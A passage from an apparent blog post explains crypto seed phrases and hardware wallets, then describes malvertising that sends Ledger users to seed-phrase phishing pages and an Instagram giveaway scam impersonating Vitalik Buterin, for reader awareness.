are then broadcast onto the blockchain in order to send funds or interact with smart contracts. Managing private keys is hard, so this is typically done by wallet software. Most wallets, during the &#8220;setup&#8221; stage will generate a deterministic &#8220;seed phrase&#8221; that users can use to backup their wallet. Seed phrases are a very helpful abstraction, because they consist of human readable words as opposed to gibberish. So let&#8217;s say that you have a wallet on your laptop, but the laptop gets damaged, lost, or stolen. If you have your seed phrase secure, you can restore you wallet on a new laptop and regain control of funds that would otherwise be lost.</p><p>A hardware wallet is a physical device that is used to secure crypto assets. It adds an extra layer of security by requiring the user to physically interact with the device in order to confirm transactions. This way, funds won&#8217;t get sent and interactions won&#8217;t happen by the wallet software alone initializing a transaction. Of course, if the seed phrase for the hardware wallet were to get leaked, then the point is moot.</p><p>Enter malvertisers&#8230;</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CxRY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CxRY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin 424w, https://substackcdn.com/image/fetch/$s_!CxRY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin 848w, https://substackcdn.com/image/fetch/$s_!CxRY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin 1272w, https://substackcdn.com/image/fetch/$s_!CxRY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CxRY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin" width="434" height="88" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:88,&quot;width&quot;:434,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CxRY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin 424w, https://substackcdn.com/image/fetch/$s_!CxRY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin 848w, https://substackcdn.com/image/fetch/$s_!CxRY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin 1272w, https://substackcdn.com/image/fetch/$s_!CxRY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2539da88-9b7e-4043-9eca-00ed8f60d6c8_434x88.bin 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PyS8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PyS8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin 424w, https://substackcdn.com/image/fetch/$s_!PyS8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin 848w, https://substackcdn.com/image/fetch/$s_!PyS8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin 1272w, https://substackcdn.com/image/fetch/$s_!PyS8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PyS8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin" width="434" height="88" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:88,&quot;width&quot;:434,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PyS8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin 424w, https://substackcdn.com/image/fetch/$s_!PyS8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin 848w, https://substackcdn.com/image/fetch/$s_!PyS8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin 1272w, https://substackcdn.com/image/fetch/$s_!PyS8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27b1365-55be-44e6-8470-9b8e4451900d_434x88.bin 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EKcL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EKcL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin 424w, https://substackcdn.com/image/fetch/$s_!EKcL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin 848w, https://substackcdn.com/image/fetch/$s_!EKcL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin 1272w, https://substackcdn.com/image/fetch/$s_!EKcL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EKcL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin" width="434" height="88" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:88,&quot;width&quot;:434,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EKcL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin 424w, https://substackcdn.com/image/fetch/$s_!EKcL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin 848w, https://substackcdn.com/image/fetch/$s_!EKcL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin 1272w, https://substackcdn.com/image/fetch/$s_!EKcL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13634bb-d5cb-43fd-baef-509ee3875485_434x88.bin 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>These are search ads that target Ledger related keywords. (Ledger and Trezor are the two brands leading the hardware crypto wallet space.) Ledger Live is the companion software that is used to an operate a Ledger Hardware wallet.</p><p>These ads link to cloaked phishing pages that masquerade as Ledger Live and try to get victims to enter their seed phrase:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wUVB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wUVB!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif 424w, https://substackcdn.com/image/fetch/$s_!wUVB!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif 848w, https://substackcdn.com/image/fetch/$s_!wUVB!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif 1272w, https://substackcdn.com/image/fetch/$s_!wUVB!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wUVB!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wUVB!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif 424w, https://substackcdn.com/image/fetch/$s_!wUVB!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif 848w, https://substackcdn.com/image/fetch/$s_!wUVB!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif 1272w, https://substackcdn.com/image/fetch/$s_!wUVB!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40cb0960-37ba-4ee9-8296-eb407341beea_1630x950.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Ledger, of course, is well aware of phishing as an existential threat to their customers and do attempt to drive the point home to their customers that the seed phrase is sacred and there is no reason to ever reveal it, but still it remains the premier technique for thieves.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1lXd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1lXd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png 424w, https://substackcdn.com/image/fetch/$s_!1lXd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png 848w, https://substackcdn.com/image/fetch/$s_!1lXd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png 1272w, https://substackcdn.com/image/fetch/$s_!1lXd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1lXd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png" width="1000" height="775" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:775,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1lXd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png 424w, https://substackcdn.com/image/fetch/$s_!1lXd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png 848w, https://substackcdn.com/image/fetch/$s_!1lXd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png 1272w, https://substackcdn.com/image/fetch/$s_!1lXd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bc011f0-42a0-4a0f-8f21-32f2ed93dae7_1000x775.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h4>Giveaway Scams</h4><p>Social media also reigns as a popular channel for attacks of a similar flavor. Creative threat actors are able to orchestrate marketing funnels that lure victims in a subtle matter and escalate towards a phishing payload.</p><p>Here&#8217;s a great example that starts with a sponsored Instagram story from an account that very believably looks like it belongs to Vitalik Buterin, the founder of Ethereum. Especially interesting is that the post being promoted appears technical (&#8220;account abstraction proposal&#8221;), which is very much aligned with the type of content that Vitalik is known to share.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qlaJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qlaJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg 424w, https://substackcdn.com/image/fetch/$s_!qlaJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!qlaJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!qlaJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qlaJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg" width="360" height="800" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:800,&quot;width&quot;:360,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qlaJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg 424w, https://substackcdn.com/image/fetch/$s_!qlaJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!qlaJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!qlaJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe7bce8-8054-4ac6-a050-028379c23b9e_360x800.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A would be victim might be surprised to see Vitalik has an instagram presence, and quickly click through to the profile, where they would see a hundreds of thousands of followers.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bDAo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bDAo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg 424w, https://substackcdn.com/image/fetch/$s_!bDAo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!bDAo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!bDAo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bDAo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg" width="360" height="800" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:800,&quot;width&quot;:360,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bDAo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg 424w, 